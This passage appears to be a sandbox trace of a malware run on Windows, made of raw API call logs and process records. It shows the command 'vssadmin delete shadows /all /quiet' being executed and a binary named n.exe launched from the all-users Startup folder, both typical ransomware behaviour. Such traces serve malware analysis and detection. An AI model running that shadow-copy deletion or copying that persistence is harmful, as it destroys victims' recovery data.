hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84630 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89840 | out: hHeap=0x70000) returned 1 [0150.670] _vsnwprintf (in: _Buffer=0x49f36340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2df348 | out: _Buffer="\r\n") returned 2 [0150.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.670] GetFileType (hFile=0xf4) returned 0x3 [0150.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.670] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0150.670] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2df318, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df318*=0x2, lpOverlapped=0x0) returned 1 [0150.670] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0150.670] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f2c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0150.670] _vsnwprintf (in: _Buffer=0x49f1eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2df358 | out: _Buffer="C:\\Windows\\system32") returned 19 [0150.670] _vsnwprintf (in: _Buffer=0x49f1eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x2df358 | out: _Buffer=">") returned 1 [0150.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.670] GetFileType (hFile=0xf4) returned 0x3 [0150.670] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.670] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0150.670] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2df348, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df348*=0x14, lpOverlapped=0x0) returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] GetFileType (hFile=0xe8) returned 0x3 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.671] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0150.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.671] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0150.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.671] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0150.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e324, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.671] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0150.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e326, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.671] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0150.671] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0150.671] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.671] GetFileType (hFile=0xe8) returned 0x3 [0150.672] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.672] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.672] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.672] GetFileType (hFile=0xf4) returned 0x3 [0150.672] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.672] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0150.672] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2df628, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df628*=0x5, lpOverlapped=0x0) returned 1 [0150.672] GetProcessHeap () returned 0x70000 [0150.672] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4012) returned 0x92010 [0150.672] GetProcessHeap () returned 0x70000 [0150.672] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x92010 | out: hHeap=0x70000) returned 1 [0150.672] GetProcessHeap () returned 0x70000 [0150.672] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0) returned 0x89840 [0150.672] GetProcessHeap () returned 0x70000 [0150.672] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1a) returned 0x84630 [0150.672] GetConsoleOutputCP () returned 0x4e3 [0150.672] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0150.672] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0150.673] GetConsoleTitleW (in: lpConsoleTitle=0x2df5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0150.673] GetProcessHeap () returned 0x70000 [0150.673] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x14) returned 0x88940 [0150.673] GetProcessHeap () returned 0x70000 [0150.673] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1a) returned 0x84660 [0150.673] GetProcessHeap () returned 0x70000 [0150.673] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x21c) returned 0x8b9a0 [0150.673] GetConsoleTitleW (in: lpConsoleTitle=0x8b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0150.673] GetProcessHeap () returned 0x70000 [0150.673] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8b9a0, Size=0x62) returned 0x8b9a0 [0150.673] GetProcessHeap () returned 0x70000 [0150.673] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8b9a0) returned 0x62 [0150.673] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1 [0150.674] GetProcessHeap () returned 0x70000 [0150.674] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b9a0 | out: hHeap=0x70000) returned 1 [0150.674] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0150.674] exit (_Code=2) Process: id = "33" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x6d39d000" os_pid = "0x56c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x700" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 346 os_tid = 0x438 Process: id = "34" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6dcaa000" os_pid = "0x50c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x700" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 347 os_tid = 0x7dc Thread: id = 348 os_tid = 0x334 Thread: id = 350 os_tid = 0x4e4 Thread: id = 351 os_tid = 0x43c Thread: id = 352 os_tid = 0x518 Process: id = "35" image_name = "consent.exe" filename = "c:\\windows\\system32\\consent.exe" page_root = "0x6d5cc000" os_pid = "0x354" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x374" cmd_line = "consent.exe 884 518 000000000398E800" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cd2e" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 356 os_tid = 0x63c Thread: id = 357 os_tid = 0x664 Thread: id = 358 os_tid = 0x5e0 Thread: id = 359 os_tid = 0x670 Thread: id = 360 os_tid = 0x364 Thread: id = 361 os_tid = 0x35c Thread: id = 362 os_tid = 0x560 Thread: id = 363 os_tid = 0x634 Thread: id = 364 os_tid = 0x7b4 Thread: id = 365 os_tid = 0x7b0 Thread: id = 366 os_tid = 0x614 Thread: id = 368 os_tid = 0x678 Thread: id = 371 os_tid = 0x4f8 Process: id = "36" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6af01000" os_pid = "0x688" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cd2e" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 369 os_tid = 0x6bc Thread: id = 370 os_tid = 0x508 Thread: id = 372 os_tid = 0x658 Thread: id = 373 os_tid = 0x600 Thread: id = 374 os_tid = 0x570 Thread: id = 375 os_tid = 0x5fc Thread: id = 376 os_tid = 0x5e8 Process: id = "37" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6bc09000" os_pid = "0x330" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cd2e" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 377 os_tid = 0x314 Thread: id = 378 os_tid = 0x438 Thread: id = 379 os_tid = 0x7c4 Thread: id = 380 os_tid = 0x43c Thread: id = 381 os_tid = 0x518 Thread: id = 382 os_tid = 0x334 Thread: id = 383 os_tid = 0x4e4 Process: id = "38" image_name = "n.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe" page_root = "0x6a207000" os_pid = "0x7dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x6dc" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 384 os_tid = 0x5ac [0158.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe21359f0, dwHighDateTime=0x1d595b2)) [0158.442] GetCurrentProcessId () returned 0x7dc [0158.442] GetCurrentThreadId () returned 0x5ac [0158.442] GetTickCount () returned 0x113c8fa [0158.442] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=12254444088) returned 1 [0158.521] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0158.521] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2220000 [0158.523] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.523] GetProcAddress (hModule=0x762e0000, lpProcName="FlsAlloc") returned 0x762f4f2b [0158.523] GetProcAddress (hModule=0x762e0000, lpProcName="FlsGetValue") returned 0x762f1252 [0158.523] GetProcAddress (hModule=0x762e0000, lpProcName="FlsSetValue") returned 0x762f4208 [0158.523] GetProcAddress (hModule=0x762e0000, lpProcName="FlsFree") returned 0x762f359f [0158.523] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.523] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.524] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.524] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.524] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.524] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.524] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.525] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.525] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.525] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.525] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.525] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.525] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.525] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.526] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.526] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0158.526] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x214) returned 0x22207d0 [0158.526] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.526] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0158.527] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x762e0000 [0158.527] GetProcAddress (hModule=0x762e0000, lpProcName="EncodePointer") returned 0x77bd0fcb [0158.527] GetProcAddress (hModule=0x762e0000, lpProcName="DecodePointer") returned 0x77bc9d35 [0158.527] GetCurrentThreadId () returned 0x5ac [0158.527] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0158.527] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x800) returned 0x22209f0 [0158.527] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0158.527] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0158.527] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0158.527] SetHandleCount (uNumber=0x20) returned 0x20 [0158.527] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe\" -a" [0158.527] GetEnvironmentStringsW () returned 0x319248* [0158.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0158.527] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x565) returned 0x22211f8 [0158.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x22211f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0158.527] FreeEnvironmentStringsW (penv=0x319248) returned 1 [0158.527] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] GetACP () returned 0x4e4 [0158.528] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x220) returned 0x2221768 [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] IsValidCodePage (CodePage=0x4e4) returned 1 [0158.528] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0158.528] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0158.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0158.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0158.528] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.528] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0158.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0158.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" 